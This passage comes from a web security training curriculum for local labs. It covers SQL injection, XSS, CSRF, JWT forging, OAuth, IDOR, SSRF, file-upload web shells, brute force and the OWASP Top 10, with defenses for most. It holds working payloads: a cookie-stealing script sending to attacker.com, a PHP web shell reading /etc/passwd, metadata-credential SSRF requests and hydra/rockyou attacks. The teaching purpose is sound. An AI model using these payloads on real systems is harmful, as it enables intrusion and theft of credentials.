4. URL-encode a payload: paste `<script>alert(1)</script>` → Encode as → URL

Workflow 4 — Comparer

1. Send two responses to Comparer (right-click → Send to Comparer)
2. Click Words or Bytes — highlights differences
3. Useful for: comparing response with valid vs invalid session, or admin vs user response

Key Burp tabs

Tab	Purpose
Proxy → Intercept	Pause and modify in-flight requests
Proxy → HTTP history	Full log of all requests made through proxy
Repeater	Manually replay and tweak individual requests
Decoder	Encode/decode base64, URL, HTML, hex
Comparer	Diff two requests or responses
Intruder	Automated fuzzing (rate-limited in Community edition)

Practice

PortSwigger “Burp Suite for Beginners”: <https://portswigger.net/burp/documentation/desktop/getting-started>

SQL injection — attack techniques and defense

Test every input field that might touch a database. Use your DVWA lab.

Basic test payloads

```
' -- triggers syntax error if injectable
' OR '1'='1 -- always-true condition
' OR 1=1-- -- comment out rest of query (MySQL/MSSQL)
' OR 1=1# -- comment out rest (MySQL)
'; DROP TABLE users;-- -- destructive (do not use outside lab)
```

UNION-based injection

```
-- Step 1: find number of columns
' ORDER BY 1-- -- increment until error: reveals column count

-- Step 2: find visible column
' UNION SELECT NULL,NULL--

-- Step 3: extract data
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,NULL FROM information_schema.tables--
```

Boolean-blind injection

```
-- True condition — page loads normally
' AND 1=1--

-- False condition — page behaves differently (empty result, error, redirect)
' AND 1=2--

-- Extract data one char at a time
' AND SUBSTRING(username,1,1)='a' FROM users WHERE username='admin'--
```

Automated with sqlmap

```
# Basic scan against DVWA SQLi module
# (set DVWA security to Low first, get your PHPSESSID from browser cookies)
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=yoursessionid" \
--dbs

# Dump a specific table
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=yoursessionid" \
-D dvwa -T users --dump
```

Defense — parameterized queries

```
// Vulnerable
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];

// Fixed — parameterized query (PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute($_GET['id']);
```

```
# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")

# Fixed
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
```

Practice

PortSwigger SQL injection labs (17 labs, Apprentice + Practitioner): <https://portswigger.net/web-security/sql-injection>
DVWA SQL Injection and SQL Injection (Blind) modules.

Source: `05-web-backend-auth-security-foundations/04-xss-and-csp-basics.md`

XSS attacks and CSP — inject, steal, bypass

Three types: reflected (in URL), stored (persisted in DB), DOM (JavaScript reads attacker input).

Basic test payloads

```
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
javascript:alert(1)
```

Reflected XSS

Find a search or error page that echoes input back in the HTML.

```
http://localhost/?search=<script>alert(1)</script>
```

View page source — look for your payload unencoded in the HTML. If it executes: reflected XSS.

Stored XSS

Submit payload to a comment, profile field, or any input that other users see.

```
<!-- In a comment field -->
<script>document.location='http://attacker.com/log?c='+document.cookie</script>
```

When any user views that page, their cookies are sent to `attacker.com`.

DOM XSS

No server round-trip. JS reads from URL and writes to DOM unsafely.

```
// Vulnerable pattern
document.write(location.hash.slice(1))
document.getElementById('output').innerHTML = location.search

// Trigger in URL
http://localhost/page#<img src=x onerror=alert(1)>
```

Filter bypass techniques

```
<!-- When <script> is filtered -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>

<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>

<!-- Encoding -->
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;
```

CSP — what it blocks and how to check

CSP header restricts what scripts can run:

```
Content-Security-Policy: default-src 'self'; script-src 'self'
```

Check a site's CSP: <https://securityheaders.com>

Weak CSP — still exploitable:

```
Content-Security-Policy: script-src 'unsafe-inline'    ← inline scripts still work
Content-Security-Policy: script-src *                 ← any domain
```

Practice

PortSwigger XSS labs (20+ labs): <https://portswigger.net/web-security/cross-site-scripting> DVWA XSS Reflected, XSS Stored modules (set security to Low → Medium → High).

Source: 05-web-backend-auth-security-foundations/05-csrf-sessions-authentication-flows.md

CSRF, sessions, and authentication testing

Check every state-changing request for CSRF tokens. Check every auth flow for enumeration and rate limiting.

CSRF — how it works

Victim is logged into `bank.com`. Victim visits `evil.com`. `evil.com` has a form that auto-submits to `bank.com/transfer`. Browser sends the victim's cookies. If no CSRF token: the transfer executes.

```
<!-- CSRF attack page on evil.com -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
```

How to test for CSRF

1. Find any state-changing POST request in Burp (transfer, change email, change password)

2. Look at the request body — is there a `_token`, `csrf_token`, or `authenticity_token`?
3. If no token: likely vulnerable
4. If token present: remove it, replay in Repeater — does it still work?
5. If replay works without token: CSRF is present

Session security checks

```
# Check cookie flags on login
curl -v http://localhost/login.php \
  -d "username=admin&password=password" 2>&1 | grep -i "set-cookie"

# Ideal response:
# Set-Cookie: PHPSESSID=abc; Path=/; HttpOnly; Secure; SameSite=Strict

# Check if session ID changes after login (session fixation test)
# 1. Get session ID before login
# 2. Log in
# 3. Check if session ID changed — it must, or session fixation is possible
```

Authentication testing

```
# Username enumeration — different error messages reveal valid usernames
# "Invalid username" vs "Invalid password" = enumeration possible

# No rate limiting — test by sending many requests fast
# Using ffuf against DVWA (lab only)
ffuf -u http://localhost/login.php -X POST \
  -d "username=admin&password=FUZZ" \
  -w /usr/share/wordlists/rockyou.txt \
  -b "PHPSESSID=yoursession; security=low" \
  -H "Content-Type: application/x-www-form-urlencoded"

# Password reset — check if token in URL is predictable or reusable
```

Defense checklist

- CSRF: CSRF token in every state-changing form, `SameSite=Strict` on session cookie
- Session: regenerate session ID on login, `HttpOnly` + `Secure` + `SameSite` flags
- Auth: same error message for bad username and bad password, rate limiting, MFA

Practice

PortSwigger CSRF labs: <https://portswigger.net/web-security/csrf> PortSwigger Authentication labs: <https://portswigger.net/web-security/authentication> TryHackMe “Authentication Bypass”: <https://tryhackme.com/room/authenticationbypass>

Source: `05-web-backend-auth-security-foundations/06-jwt-security-lifecycle.md`

JWT attacks — decode, tamper, crack

Three main attacks: algorithm confusion, weak secret, and key confusion.

Decode a JWT manually

```
# A JWT has three base64url-encoded parts: header.payload.signature
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlc2VyMTIzIiwicm9sZSI6InVzZXIifQ.sig"

# Decode header (part 1)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# {"alg":"HS256","typ":"JWT"}

# Decode payload (part 2)
echo "eyJzdWIiOiJlc2VyMTIzIiwicm9sZSI6InVzZXIifQ" | base64 -d
# {"sub":"user123","role":"user"}

# Or use jwt.io in the browser – paste token, see decoded claims
```

Attack 1 — Algorithm none

Change `"alg":"HS256"` to `"alg":"none"`, change `"role":"user"` to `"role":"admin"`, remove the signature (keep trailing dot).

```
import base64, json

header = base64.urlsafe_b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({"sub":"user123","role":"admin"}).encode()).rstrip(b'=')
token = header.decode() + "." + payload.decode() + "."
print(token)
```

Send this token — if the server accepts it, `alg:none` attack works.

Attack 2 — Crack weak HS256 secret

```
# Save token to file
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlc2VyMTIzIn0.sig" > token.txt

# Crack with hashcat
hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt

# Or with jwt-cracker
npm install -g jwt-cracker
jwt-cracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlc2VyMTIzIn0.sig -w rockyou.txt
```

If cracked, resign your modified payload with the discovered secret.

Attack 3 — RS256 to HS256 key confusion

When server uses RS256 (asymmetric), public key is often discoverable. Switch algorithm to HS256 and sign with the public key — server may verify using the public key as HMAC secret.

Use Burp JWT Editor extension to automate this: install from BApp Store → JWT Editor → Key Confusion Attack.

Claims to validate (defense)

```
exp — expiry timestamp — must be in the future
iss — issuer — must match expected value
aud — audience — must match this service
nbf — not before — token not valid before this time
```

Practice

PortSwigger JWT labs (8 labs): <https://portswigger.net/web-security/jwt> Install Burp JWT Editor extension: BApp Store → search “JWT Editor”

Source: 05-web-backend-auth-security-foundations/07-oauth-oidc-and-pkce.md

OAuth 2.0 attack surfaces — state, redirect_uri, and token leakage

OAuth flows route auth codes and tokens through redirects — every redirect is an attack surface.

OAuth Authorization Code flow — what to intercept

1. User clicks "Login with Google"
2. Browser redirects to: `https://accounts.google.com/o/oauth2/auth?client_id=APP_ID&redirect_uri=https://app.com/callback` ← attacker target
`&response_type=code`
`&scope=openid email`
`&state=RANDOM_VALUE` ← CSRF protection
3. User approves → Google redirects to: `https://app.com/callback?code=AUTH_CODE&state=VALUE`
4. App exchanges code for access token at token endpoint

Attack 1 — Missing state parameter (CSRF on OAuth)

If no `state` parameter in step 2, attacker can initiate OAuth flow and fix the auth code to victim's account.

Test: start OAuth flow in Burp, check if `state` is present. Remove it — if flow completes: vulnerable.

Attack 2 — Open redirect_uri

```
# Legitimate
redirect_uri=https://app.com/callback

# Attacker tries
redirect_uri=https://app.com/callback/../../../../evil.com
redirect_uri=https://evil.com
redirect_uri=https://app.com.evil.com
```

In Burp Repeater, modify `redirect_uri` in the authorization request. If the auth code arrives at your domain: account takeover is possible.

Attack 3 — Token in Referer header

```
https://app.com/callback?code=SECRET_CODE&state=abc
```

If this page loads external resources (analytics, images), the full URL including `code` appears in the Referer header sent to those external servers.

Attack 4 — Implicit flow token leakage (legacy)

Implicit flow returns `access_token` in URL fragment: `https://app.com/callback#access_token=TOKEN`. Fragment stays in browser history and may appear in server logs if `redirect_uri` involves server-side redirect.

PKCE — what it prevents

PKCE (Proof Key for Code Exchange) adds a `code_challenge` to the auth request. Without the matching `code_verifier`, a stolen auth code cannot be exchanged for a token. Required for mobile apps and SPAs.

Test OAuth in Burp

1. Enable Intercept → click “Login with [provider]”
2. Capture every request in the OAuth flow
3. Send authorization request to Repeater
4. Try: remove `state`, modify `redirect_uri`, change `scope`

Practice

PortSwigger OAuth labs (6 labs): <https://portswigger.net/web-security/oauth> TryHackMe “Authentication Bypass”: <https://tryhackme.com/room/authenticationbypass>

Source: `05-web-backend-auth-security-foundations/08-idor-and-access-control-ownership.md`

IDOR and access control testing — find and exploit object reference flaws

IDOR: change an ID in a request to access another user’s data. The server must enforce ownership — the client cannot be trusted.

IDOR test methodology

Find any ID in a URL, request body, or response:

```
GET /api/orders/1001      → change to /api/orders/1002
GET /profile?user_id=501  → change to /profile?user_id=502
POST /download {"file_id":33} → change to {"file_id":34}
```

Observe the response: - Different user’s data returned = horizontal IDOR (same role, different user) - Admin data or elevated function returned = vertical IDOR (role escalation) - 403 or 404 = access control is working

Two-user test (most reliable method)

1. Create Account A and Account B (or use two browser sessions)
2. Log in as Account A → perform an action → capture the request in Burp
3. Copy that request → log in as Account B → replay the request in Burp Repeater
4. If Account B’s session can access Account A’s data: IDOR confirmed

```
# Example with curl – user A's token accessing user B's order
curl http://localhost:3000/api/orders/1002 \
  -H "Authorization: Bearer USER_A_TOKEN"

# If you get user B's order data: horizontal IDOR
```


Vertical access control — accessing admin functions

```
# Test if regular user can reach admin endpoints
curl http://localhost/admin/users -b "session=regular_user_cookie"
curl http://localhost/api/admin/deleteUser/5 -b "session=regular_user_cookie"

# Test parameter-based role escalation
curl http://localhost/api/updateProfile \
  -d '{"username":"victim","role":"admin"}' \
  -H "Content-Type: application/json" \
  -b "session=regular_user_cookie"
```

Burp Authorize extension — automate auth testing

1. Install Authorize from BApp Store
2. Log in as low-privilege user → add their cookie to Authorize config
3. Browse the app as admin
4. Authorize auto-replays every request with the low-privilege cookie
5. Green = protected, Red = access control bypass detected

Common IDOR locations

- `/api/users/{id}` — user profile data
- `/api/orders/{id}` — order details
- `/api/invoices/{id}` — invoice download
- `/api/messages/{id}` — private messages
- `?file=../../../../etc/passwd` — path traversal variant

Practice

PortSwigger Access Control labs (13 labs): <https://portswigger.net/web-security/access-control> TryHackMe “IDOR” room: <https://tryhackme.com/room/idor> Juice Shop: solve “View another user’s basket” challenge

Source: `05-web-backend-auth-security-foundations/09-ssrf-uploads-deserialization.md`

SSRF, file uploads, and deserialization — server-side attack surfaces

These three vulnerabilities let attackers reach internal systems or execute code on the server.

SSRF — Server-Side Request Forgery

Find parameters that accept URLs:

```
url=, redirect=, fetch=, webhook=, callback=, next=, dest=
```

Test by pointing them at internal addresses:

```
# AWS metadata endpoint (returns IAM credentials in cloud environments)
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Internal services
curl "http://target.com/fetch?url=http://localhost:6379/" # Redis
curl "http://target.com/fetch?url=http://localhost:9200/_cat/nodes" # Elasticsearch
curl "http://target.com/fetch?url=http://10.0.0.1/" # internal host

# Bypass localhost filters
curl "http://target.com/fetch?url=http://127.0.0.1/"
curl "http://target.com/fetch?url=http://0.0.0.0/"
curl "http://target.com/fetch?url=http://[::1]/"
```

If the response contains internal data: SSRF confirmed.

File upload attacks

```
# Create a simple PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# If server checks extension — try bypassing
cp shell.php shell.php.jpg # double extension
cp shell.php shell.phtml # alternative PHP extension
cp shell.php shell.php5 # another PHP extension
cp shell.php shell.PHP # case variation

# Set Content-Type to image while keeping .php extension
# In Burp: change Content-Type header to image/jpeg but keep filename as shell.php
```

After upload, access the shell:

```
curl "http://target.com/uploads/shell.php?cmd=id"
curl "http://target.com/uploads/shell.php?cmd=cat+/etc/passwd"
```

File upload checklist

- Try uploading `.php`, `.php5`, `.phtml`, `.phar`
- Try changing Content-Type to `image/jpeg` while keeping `.php` extension
- Try null byte: `shell.php%00.jpg`
- Check where uploaded files are stored — sometimes accessible, sometimes not
- Test with a polyglot file: valid image that also contains PHP code

Deserialization — quick identification

Look for base64 blobs in cookies or request bodies that decode to serialized objects:

```
# PHP serialized object signature
echo "O:4:\"User\":1:{s:4:\"name\";s:5:\"admin\";}" | base64

# Java serialized object starts with: r00AB (base64 of AC ED 00 05)
echo "r00AB..." | base64 -d | xxd | head -1
# should show: ac ed 00 05
```

Use ysoserial for Java deserialization payloads: <https://github.com/frohoff/ysoserial>

Practice

PortSwigger SSRF labs (7 labs): <https://portswigger.net/web-security/ssrf> PortSwigger File Upload labs (6 labs): <https://portswigger.net/web-security/file-upload> TryHackMe “SSRF”: <https://tryhackme.com/room/ssrfqi>

API security testing and dependency scanning

APIs have their own OWASP Top 10. Test auth, object-level access, and data exposure separately from web app.

API recon — find the surface

```
# Look for API docs
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml
curl http://target.com/api/v1/

# Directory fuzzing for API endpoints
gobuster dir -u http://target.com/api/ -w /usr/share/wordlists/dirb/common.txt -x json
feroxbuster -u http://target.com/api/ --extensions json
```

API auth testing with curl

```
# Test unauthenticated access
curl http://target.com/api/users

# Test with valid token
curl http://target.com/api/users \
  -H "Authorization: Bearer YOUR_TOKEN"

# Test BOLA — access another object
curl http://target.com/api/users/2 \
  -H "Authorization: Bearer USER_1_TOKEN"

# Test excessive data exposure
curl http://target.com/api/profile \
  -H "Authorization: Bearer YOUR_TOKEN"
# Check: does response include fields not shown in UI (role, internal ID, hashed password)?

# Test HTTP method override
curl http://target.com/api/users/2 -X DELETE \
  -H "Authorization: Bearer USER_TOKEN"
```

OWASP API Security Top 10

#	Name	Quick test
API1	BOLA	Change object ID in URL
API2	Broken Auth	Remove token, use expired token
API3	Excessive Data	Compare API response to what UI shows
API4	Rate Limiting	Send 100 requests, check if blocked
API5	Function-Level Auth	Call admin endpoints as regular user
API6	Unrestricted Access to Business Flows	Replay purchase flow multiple times
API7	Server-Side Request Forgery	Inject internal URL in webhook/callback param
API8	Security Misconfiguration	Check CORS, debug endpoints, verbose errors
API9	Improper Inventory Management	Find old API versions: /api/v1 vs /api/v2
API10	Unsafe Consumption	Third-party API data injected into queries

Dependency scanning

```
# Node.js
npm audit
npm audit --fix          # auto-fix where possible

# Python
pip install pip-audit
pip-audit

# Ruby
bundle audit

# Container images
trivy image myapp:latest

# Snyk (free tier)
npm install -g snyk
snyk auth
snyk test
```

Practice

OWASP crAPI (deliberately vulnerable API): <https://github.com/OWASP/crAPI> PortSwigger API testing labs: <https://portswigger.net/web-security/api-testing> TryHackMe “OWASP API Security Top 10”: <https://tryhackme.com/room/owaspapisecuritytop105>

Source: 05-web-backend-auth-security-foundations/11-integration-local-security-review.md

Integration exercise — full security review on DVWA and Juice Shop

Run through all major web vulnerabilities on your local lab. Document each finding.

Setup

```
# Start DVWA (set security to Low for first pass)
docker run -d -p 80:80 vulnerables/web-dvwa
# Login: admin/password → Setup/Reset DB

# Start Juice Shop
docker run -d -p 3000:3000 bkimminich/juice-shop

# Start Burp Suite — proxy all traffic through it
```

DVWA checklist — run each module at Low security

For each finding, document: vulnerable parameter, payload used, what was returned.

SQL Injection

```
Input: ' OR 1=1--
Expected: all users returned
Also test: ' UNION SELECT user,password FROM users--
```

XSS Reflected

Input: `<script>alert(1)</script>` in the name field
Expected: alert box fires

XSS Stored

Input: `<script>alert(document.cookie)</script>` in message field
Expected: alert fires for every visitor

CSRF

1. Log in as admin
2. Visit `/vulnerabilities/csrf/` – change password form
3. Intercept with Burp – is there a CSRF token in the request?
4. Remove token → resend → does it work?

Command Injection

Input: `127.0.0.1; id`
Input: `127.0.0.1 && cat /etc/passwd`
Expected: command output in response

File Upload

Upload: `shell.php` with content: `<?php system($_GET['cmd']); ?>`
Access: `http://localhost/hackable/uploads/shell.php?cmd=id`

IDOR (Insecure Direct Object Reference)

1. Log in as user1
2. Find user ID in requests
3. Change to user2's ID
4. Check if user2's data is returned

Juice Shop challenges to complete

- Log in as admin (SQL injection on login)
- Access admin section (IDOR or directory fuzzing)
- View another user's basket (IDOR)
- Post a feedback as another user (parameter tampering)
- Find the confidential document (path traversal or recon)

After Low — repeat on Medium

DVWA Security: Medium
Repeat every test above – observe what blocks, what bypasses work

Finding documentation template

```
Vulnerability: SQL Injection
URL: http://localhost/vulnerabilities/sqli/?id=1
Parameter: id
Payload: ' OR 1=1--
Result: All user records returned
Severity: Critical
Fix: Use parameterized queries
```

Source: 05-web-backend-auth-security-foundations/12-owasp-top-ten-mapping-deep-dive.md

OWASP Top 10 — tools, payloads, and defenses per category

Reference for what to test, how to test it, and how to fix it.

A01 — Broken Access Control

Test: change user ID in URL/body. Access admin endpoints as regular user. Use Burp Authorize.

```
curl http://target/api/orders/1002 -H "Authorization: Bearer USER_1_TOKEN"
curl http://target/admin/users -b "session=regular_user_cookie"
```

Fix: server-side authorization check on every resource access. Never trust client-supplied role.

A02 — Cryptographic Failures

Test: check if HTTPS enforced. Check what hash algorithm stores passwords. Inspect cookies for sensitive data.

```
curl -I http://target.com # check for HTTPS redirect
curl -v https://target.com 2>&1 | grep "SSL certificate"
# Check response for password hashes or keys in API responses
```

Fix: TLS everywhere, HSTS header, bcrypt/argon2 for passwords, no secrets in responses.

A03 — Injection (SQL, Command, LDAP)

Test: inject into every input field and URL parameter.

```
sqlmap -u "http://target/search?q=test" --batch --dbs
# Manual: ' OR 1=1-- in any field
# Command: 127.0.0.1; id in ping/traceroute inputs
```

Fix: parameterized queries, no string concatenation in queries, input validation.

A04 — Insecure Design

Test: logic flaws — skip steps in multi-step flows, replay old requests, negative values.

```
# Try negative quantity in shopping cart
curl http://target/api/cart -X POST -d '{"item":"x","qty":-1}'
# Try coupon code reuse — apply same code twice
```

Fix: threat modeling at design phase, enforce business rules server-side.

A05 — Security Misconfiguration

Test: default creds, directory listing, verbose errors, debug endpoints.

```
nikto -h http://target.com
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
curl http://target.com/.env
curl http://target.com/phpinfo.php
# Try admin/admin, admin/password, root/root
```

Fix: apply hardening guides, disable default accounts, suppress error details in production.

A06 — Vulnerable and Outdated Components

Test: identify versions, check against CVE databases.

```
npm audit                # Node.js
pip-audit                # Python
trivy image myapp:latest # containers
 snyk test              # multi-language (free tier)
# Check server headers for version: curl -I http://target.com → Server: Apache/2.4.29
```

Fix: dependency update process, automated scanning in CI/CD, uninstall unused components.

A07 — Authentication Failures

Test: brute force with no lockout, username enumeration via error messages, weak password reset.

```
# Brute force test (lab/authorized systems only)
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form \
  "http://target/login:username=^USER^&password=^PASS^:Invalid"

# Username enumeration — compare responses
curl http://target/login -d "user=admin&pass=x"      # "Invalid password"
curl http://target/login -d "user=nobody&pass=x"     # "Invalid username"
# Different messages = enumeration possible
```

Fix: same error message for all auth failures, rate limiting, account lockout, MFA.

A08 — Software and Data Integrity

Test: check if downloads are verified with hashes. Check for CI/CD pipeline tampering.

```
# Verify download hash
sha256sum downloaded_file.tar.gz
# Compare with published hash on release page

# Check JS files for Subresource Integrity attributes
curl http://target.com | grep -i "integrity="
```

Fix: SRI for CDN scripts, signed artifacts, verified package sources.

A09 — Logging and Monitoring Failures

Test: trigger errors and attacks — check if anything appears in logs.

```
# Cause a 500 error, a 401, a SQLi attempt
# Then check: is it in the logs? Is there an alert?
curl http://target/login -d "user=' OR 1=1--&pass=x"
# No log entry = logging failure
```

Fix: structured logging, centralized log aggregation (ELK/Splunk), alert on anomalies.

A10 — Server-Side Request Forgery

Test: find URL parameters and point them at internal addresses.

```
curl "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "http://target/fetch?url=http://localhost:6379/INFO" # Redis
curl "http://target/fetch?url=http://10.0.0.1/"
```

Fix: allowlist permitted outbound destinations, block cloud metadata IPs (169.254.169.254), use network-level egress filtering.

Practice

PortSwigger full learning path: <https://portswigger.net/web-security/all-labs> OWASP Juice Shop — covers all 10: `docker run -d -p 3000:3000 bkimminich/juice-shop`

Source: `05-web-backend-auth-security-foundations/13-web-privilege-escalation.md`

Web privilege escalation — horizontal and vertical

Role and permission escalation at the application layer. Distinct from OS PrivEsc — no exploit needed, just logic flaws.

Two types

Horizontal: access another user's data at the same privilege level (user A reads user B's orders). **Vertical:** access functionality above your role (regular user reaches admin panel).

IDOR / BOLA — horizontal escalation

```
GET /api/users/1042/profile    ← your ID
→ change to:
GET /api/users/1043/profile    ← another user's data
```

Test on every object reference: numeric IDs, UUIDs, usernames in paths/params/body. Automate with Burp Intruder or ffuf.

```
ffuf -u "http://target/api/orders/FUZZ" -w ids.txt -H "Cookie: session=yours" -fc 403,404
```

Reference: PortSwigger Access Control labs — <https://portswigger.net/web-security/access-control>

Parameter tampering — vertical escalation

```
POST /api/user/update
{"role": "admin", "email": "attacker@evil.com"}
```

Test: add `role`, `admin`, `is_admin`, `user_type` to any profile/registration/update request. Also test in URL params and cookies.

Mass assignment (frameworks that bind all request fields):

```
{"name": "test", "email": "x@x.com", "role": "superadmin"}
```

Practice: OWASP crAPI — mass assignment on `/community/api/v2/user/dashboard`

JWT role manipulation

```
# Decode header.payload.signature — payload:
{"sub": "user123", "role": "user", "exp": 1234567890}

# Attacks:
# 1. None algorithm: set alg=none, remove signature, change role to admin
# 2. Weak secret: crack with hashcat -m 16500 token.txt rockyou.txt
# 3. Key confusion: RS256 → HS256, sign with public key
```

Burp JWT Editor extension handles all three attack types. PortSwigger JWT labs cover each attack step-by-step.

Cookie and session manipulation

```
role=user → role=admin
admin=0 → admin=1
user_level=1 → user_level=99
```

Check every cookie field. Decode base64 values. Tamper and observe response differences (403 vs 200 vs redirect).

Forced browsing — bypassing UI controls

Admin panel hidden from UI but accessible directly:

```
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
# Common admin paths: /admin, /administrator, /manage, /dashboard, /console, /internal
```

Try direct access without admin role — server may only check at UI level not at route level.

HTTP method override — access control bypass

Some apps check role on GET but not on PUT/DELETE:

```
GET /api/user/1042 → 200 (own record)
DELETE /api/user/1043 → may succeed if only GET is guarded
```

Test all HTTP methods on every endpoint: GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS.

Privilege escalation via account takeover chain

1. Find password reset token leak or IDOR on reset endpoint
2. Reset admin account password
3. Login as admin

Or: find admin email via user enumeration → trigger reset → intercept token if weakly generated.

Practice

- PortSwigger: Access Control labs (full series, free)
 - OWASP crAPI: local Docker lab — covers BOLA, mass assignment, broken function level auth
 - DVWA: CSRF + IDOR combination drills
 - TryHackMe: “IDOR” room, “Walking an Application” room
-

Phase — 06-burp-http-security-testing-workflow

Directory: 06-burp-http-security-testing-workflow/

Source: 06-burp-http-security-testing-workflow/01-resources-and-practice-environment.md

Burp Suite: Setup and Practice Environment

Install Burp Community and configure a working lab before touching any other file in this phase.

Install Burp Suite Community

Download: <https://portswigger.net/burp/communitydownload>

On Kali: already included — run `burpsuite` from terminal.

Browser Proxy Config

Set Firefox proxy to `127.0.0.1:8080` (manual proxy, all protocols).

Or use Burp's built-in browser: Proxy → Open Browser.

Install Burp CA cert: 1. Browse to `http://burpsuite` while proxy is active 2. Download `cacert.der` 3. Firefox → Settings → Certificates → Import → select the file

Lab Targets

```
# DVWA
docker run -d -p 80:80 vulnerables/web-dvwa
# Login: admin / password — set Security Level to Low in DVWA settings

# Juice Shop
docker run -d -p 3000:3000 bkimminich/juice-shop
# Browse to http://localhost:3000
```

Required Extensions (BApp Store)

Open Burp → Extender → BApp Store → install: - **Autorize** — automated auth testing across user roles - **JWT Editor** — decode, modify, and attack JWT tokens - **Param Miner** — discover hidden/undocumented parameters - **Active Scan++** — enhances active scanner with extra checks

PortSwigger Web Security Academy

Free course platform: <https://portswigger.net/web-security>

Start with: Web Security Academy → Learning Path → “Web Application Security Testing”

Labs run in the browser — no local setup needed for many exercises.

Scope Setup (do this first on every test)

Target → Scope → Add host (e.g., `http://localhost`).

HTTP History → filter → “Show only in-scope items”.

This prevents browser telemetry from polluting your history.

Exercise

1. Start DVWA and Juice Shop containers
2. Set Firefox proxy to `127.0.0.1:8080`
3. Install CA cert — verify HTTPS sites load without certificate warnings

4. Browse DVWA — confirm traffic appears in Burp HTTP History
5. Install all four extensions from BApp Store
6. Set scope to `localhost` only

Source: `06-burp-http-security-testing-workflow/02-proxy-intercept-and-history.md`

Proxy Intercept and HTTP History

Intercept pauses traffic so you can inspect and modify requests before they reach the server. HTTP History stores everything that flows through the proxy.

Intercept ON vs OFF

- **Intercept ON:** every browser action pauses — you see each raw request, can edit, then forward or drop
- **Intercept OFF:** traffic flows freely — use History to review after the fact

Toggle: Proxy → Intercept tab → “Intercept is on/off” button.

Populate History

1. Set Intercept OFF
2. Browse DVWA — click login, navigate pages, submit forms
3. Open HTTP History tab — all requests appear
4. Filter: “Show only in-scope items” (requires scope set under Target → Scope)

HTTP History Columns

Column	Why it matters
Method	GET vs POST — POST often has bodies with credentials
URL	find interesting endpoints
Status	302 = redirect (login flow), 200 = success, 403 = forbidden
Length	large difference between responses = different content = worth comparing
MIME	<code>application/json</code> = API endpoint

Right-Click Actions

- **Send to Repeater** — manual retesting (Ctrl+R)
- **Send to Intruder** — automated fuzzing
- **Send to Comparer** — diff two responses

Search History

Ctrl+F in HTTP History → search `password`, `token`, `secret`, `key` in responses.
Use “Filter” bar → type keyword to narrow visible requests.

Exercise

1. Browse DVWA with Intercept ON
2. Attempt login — intercept the POST request
3. Note: `username=admin&password=password` in body
4. Forward to Repeater (Ctrl+R)
5. Forward the request to complete login
6. Turn Intercept OFF, browse 5 more pages
7. In History, locate the login POST — note the `Set-Cookie` header in the response

8. Search History for the word `password` — how many responses contain it?

Source: 06-burp-http-security-testing-workflow/03-repeater-and-authorisation-probes.md

Repeater and Authorization Testing

Repeater lets you resend a captured request as many times as you want with manual modifications. It's the primary tool for testing access control.

Send a Request to Repeater

From HTTP History: right-click → Send to Repeater, or press Ctrl+R.
Switch to Repeater tab — request appears on the left, response on the right.
Click “Send” to fire it. Modify and send again.

What to Modify

```
# Original request
GET /api/user/profile?id=5 HTTP/1.1
Host: localhost
Cookie: session=abc123xyz

# Test 1 – IDOR: change the ID
GET /api/user/profile?id=1 HTTP/1.1

# Test 2 – IDOR: try other IDs
GET /api/user/profile?id=2 HTTP/1.1
GET /api/user/profile?id=0 HTTP/1.1
GET /api/user/profile?id=-1 HTTP/1.1
GET /api/user/profile?id=admin HTTP/1.1

# Test 3 – remove auth entirely
GET /api/user/profile?id=5 HTTP/1.1
Host: localhost
# (no Cookie header)

# Test 4 – replace cookie with another user's session
Cookie: session=differentusercookiehere
```

Headers to Test

Header	Test
Cookie	remove it, replace it, use another user's session
Authorization	remove it, use expired token, modify JWT payload
X-User-ID	change to other user IDs
X-Forwarded-For: 127.0.0.1	bypass IP-based restrictions
X-Original-URL: /admin	override routing in some frameworks

Reading the Response

- Same content for different IDs → IDOR confirmed
- 200 with no cookie → authentication not enforced
- 403 → access control exists (but may still be bypassable)
- Different content length for different users → data leakage

Exercise

1. Log into DVWA as `admin`
 2. Browse to a user-specific page — intercept or find in History
 3. Send to Repeater
 4. Delete the `Cookie` header entirely → Send → what response code?
 5. Change a numeric parameter to another user's ID → Send → does it return different user's data?
 6. Log in as a second DVWA user (create one first), capture their session cookie
 7. In Repeater, swap the cookie to the second user's — does admin content still appear?
-

Source: `06-burp-http-security-testing-workflow/04-decoder-comparer-and-jwt-surface-analysis.md`

Decoder, Comparer, and JWT Analysis

Three tools for analyzing what's inside tokens and comparing responses.

Decoder

Open: Burp → Decoder tab.

